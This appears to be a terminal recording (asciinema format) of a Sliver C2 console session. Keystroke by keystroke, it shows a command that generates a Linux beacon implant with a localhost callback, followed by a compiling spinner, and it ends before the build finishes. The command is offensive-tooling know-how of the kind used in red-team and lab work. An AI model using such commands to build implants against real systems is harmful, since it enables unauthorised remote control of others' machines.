[10.890304, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[54D\u001b[9C\u001b[107D\u001b[54C\u001b[?25h"]
[11.002112, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.014464, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.015491, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[55D\u001b[9C\u001b[107D\u001b[55C\u001b[?25h"]
[11.283116, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.299121, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--d\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[11.300946, "o", "\u001b[107D\u001b[1A\u001b[56D\u001b[9C\u001b[107D\u001b[56C\u001b[?25h"]
[11.336739, "o", "\u001b[?25l\u001b[107D"]
[11.338443, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.344194, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--de\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[57D\u001b[9C"]
[11.344355, "o", "\u001b[107D\u001b[57C\u001b[?25h"]
[11.357833, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.358428, "o", "\u001b[6n"]
[11.361392, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--deb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[58D\u001b[9C\u001b[107D\u001b[58C\u001b[?25h"]
[11.405303, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.405633, "o", "\u001b[6n"]
[11.407984, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debu\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.408951, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[59D\u001b[9C\u001b[107D\u001b[59C\u001b[?25h"]
[11.591917, "o", "\u001b[?25l"]
[11.597606, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.604722, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.605927, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[60D\u001b[9C\u001b[107D\u001b[60C\u001b[?25h"]
[11.704325, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.712392, "o", "\u001b[6n"]
[11.716215, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[11.716363, "o", "\u001b[107D\u001b[1A\u001b[61D\u001b[9C\u001b[107D\u001b[61C\u001b[?25h"]
[12.326269, "o", "\u001b[?25l"]
[12.328608, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.334497, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[12.336471, "o", "\u001b[1A\u001b[62D\u001b[9C\u001b[107D\u001b[62C\u001b[?25h"]
[12.619637, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[12.628956, "o", "\u001b[6n"]
[12.634937, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[63D\u001b[9C\u001b[107D\u001b[63C\u001b[?25h"]
[13.029882, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[13.031634, "o", "\u001b[6n"]
[13.036477, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[13.036757, "o", "\u001b[107D\u001b[1A\u001b[64D\u001b[9C\u001b[107D\u001b[64C\u001b[?25h"]
[13.308092, "o", "\u001b[?25l"]
[13.312959, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[13.318384, "o", "\u001b[6n"]
[13.32643, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[65D\u001b[9C\u001b[107D\u001b[65C\u001b[?25h"]
[13.810937, "o", "\u001b[?25l\u001b[107D"]
[13.81462, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.824223, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[13.825588, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[66D\u001b[9C\u001b[107D\u001b[66C\u001b[?25h"]
[14.693013, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[14.700287, "o", "\u001b[6n"]
[14.706924, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[67D\u001b[9C\u001b[107D\u001b[67C\u001b[?25h"]
[15.237577, "o", "\u001b[?25l\u001b[107D"]
[15.241053, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[15.247009, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[15.249159, "o", "\u001b[1A\u001b[68D\u001b[9C\u001b[107D\u001b[68C\u001b[?25h"]
[15.479446, "o", "\u001b[1 q"]
[15.506974, "o", "\u001b[1 q"]
[15.50792, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[15.509462, "o", "\u001b[6n"]
[15.513203, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[15.515282, "o", "\u001b[2mbeacon interval seconds\u001b[0m\u001b[0m\u001b[0K\r\r\n\u001b[0K\u001b[0m\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[1A\u001b[68D\u001b[9C\u001b[107D\u001b[68C\u001b[?25h"]
[17.033385, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.04594, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[69D\u001b[9C\u001b[107D\u001b[69C\u001b[?25h"]
[18.826391, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[18.830292, "o", "\u001b[6n"]
[18.838831, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m1\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[70D\u001b[9C\u001b[107D\u001b[70C\u001b[?25h"]
[19.106227, "o", "\u001b[?25l"]
[19.108266, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.114835, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[19.115864, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[71D\u001b[9C\u001b[107D\u001b[71C\u001b[?25h"]
[19.912306, "o", "\u001b[?25l"]
[19.918021, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[19.920087, "o", "\u001b[6n"]
[19.93003, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[19.931567, "o", "\u001b[1A\u001b[72D\u001b[9C\u001b[107D\u001b[72C\u001b[?25h"]
[20.168864, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[20.171906, "o", "\u001b[6n"]
[20.178129, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.178608, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[73D\u001b[9C\u001b[107D\u001b[73C\u001b[?25h"]
[20.297124, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[20.30462, "o", "\u001b[6n"]
[20.311177, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m"]
[20.313065, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[74D\u001b[9C\u001b[107D\u001b[74C\u001b[?25h"]
[20.778135, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[20.782481, "o", "\u001b[6n"]
[20.792233, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.793582, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[75D\u001b[9C\u001b[107D\u001b[75C\u001b[?25h"]
[20.875988, "o", "\u001b[?25l\u001b[107D"]
[20.880256, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[20.880407, "o", "\u001b[6n"]
[20.886912, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.889501, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[76D\u001b[9C\u001b[107D\u001b[76C\u001b[?25h"]
[20.956584, "o", "\u001b[?25l\u001b[107D"]
[20.957564, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[20.959364, "o", "\u001b[6n"]
[20.962509, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[77D"]
[20.963891, "o", "\u001b[9C\u001b[107D\u001b[77C\u001b[?25h"]
[21.215945, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[21.218587, "o", "\u001b[6n"]
[21.22548, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.226454, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[78D\u001b[9C\u001b[107D\u001b[78C\u001b[?25h"]
[21.285365, "o", "\u001b[?25l\u001b[107D"]
[21.287194, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[21.292864, "o", "\u001b[6n"]
[21.295846, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mli\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.296889, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[79D\u001b[9C\u001b[107D\u001b[79C\u001b[?25h"]
[21.368931, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[21.372292, "o", "\u001b[6n"]
[21.376631, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlin\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[21.376984, "o", "\u001b[107D\u001b[1A\u001b[80D\u001b[9C\u001b[107D\u001b[80C\u001b[?25h"]
[21.507354, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[21.511066, "o", "\u001b[6n"]
[21.515589, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinu\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.516174, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[81D\u001b[9C\u001b[107D\u001b[81C\u001b[?25h"]
[21.635331, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[21.645426, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.64696, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[82D\u001b[9C\u001b[107D\u001b[82C\u001b[?25h"]
[21.83149, "o", "\u001b[?25l"]
[21.840106, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[21.847228, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[0m\u001b[0K\u001b[49m"]
[21.850549, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[83D\u001b[9C\u001b[107D\u001b[83C\u001b[?25h"]
[22.416182, "o", "\u001b[83D\u001b[9C"]
[22.423437, "o", "\u001b[6n"]
[22.428419, "o", "\u001b[107D\u001b[83C"]
[22.429272, "o", "\u001b[0J\u001b[107D\r\r\n"]
[22.43381, "o", "\u001b[0 q"]
[22.436511, "o", "\r\n"]
[22.472785, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 beacon implant binary (15s)\r\n"]
[22.573603, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[22.673763, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[22.774365, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[22.874902, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[22.975459, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[23.077251, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[23.179308, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[23.283986, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[23.38624, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[23.486039, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[23.586774, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[23.68746, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[23.79081, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[23.891386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[23.992125, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[24.093011, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[24.197402, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[24.297949, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[24.399009, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[24.500778, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[24.601249, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[24.701469, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[24.802295, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[24.903284, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[25.004388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[25.107365, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[25.210375, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[25.311732, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[25.412333, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[25.514097, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[25.61486, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[25.715961, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[25.816088, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[25.917192, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[26.017903, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[26.118753, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[26.21905, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[26.31959, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[26.424407, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[26.524445, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[26.625061, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[26.725914, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[26.826768, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[26.927046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[27.028042, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[27.132983, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[27.235962, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[27.340875, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[27.441488, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[27.542069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[27.644268, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[27.744341, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[27.847294, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[27.954509, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[28.056587, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[28.157221, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[28.258408, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[28.364494, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[28.462307, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[28.562769, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[28.66304, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[28.76396, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[28.864147, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[28.964714, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[29.065388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[29.165921, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[29.266403, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[29.367502, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[29.468424, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[29.569487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
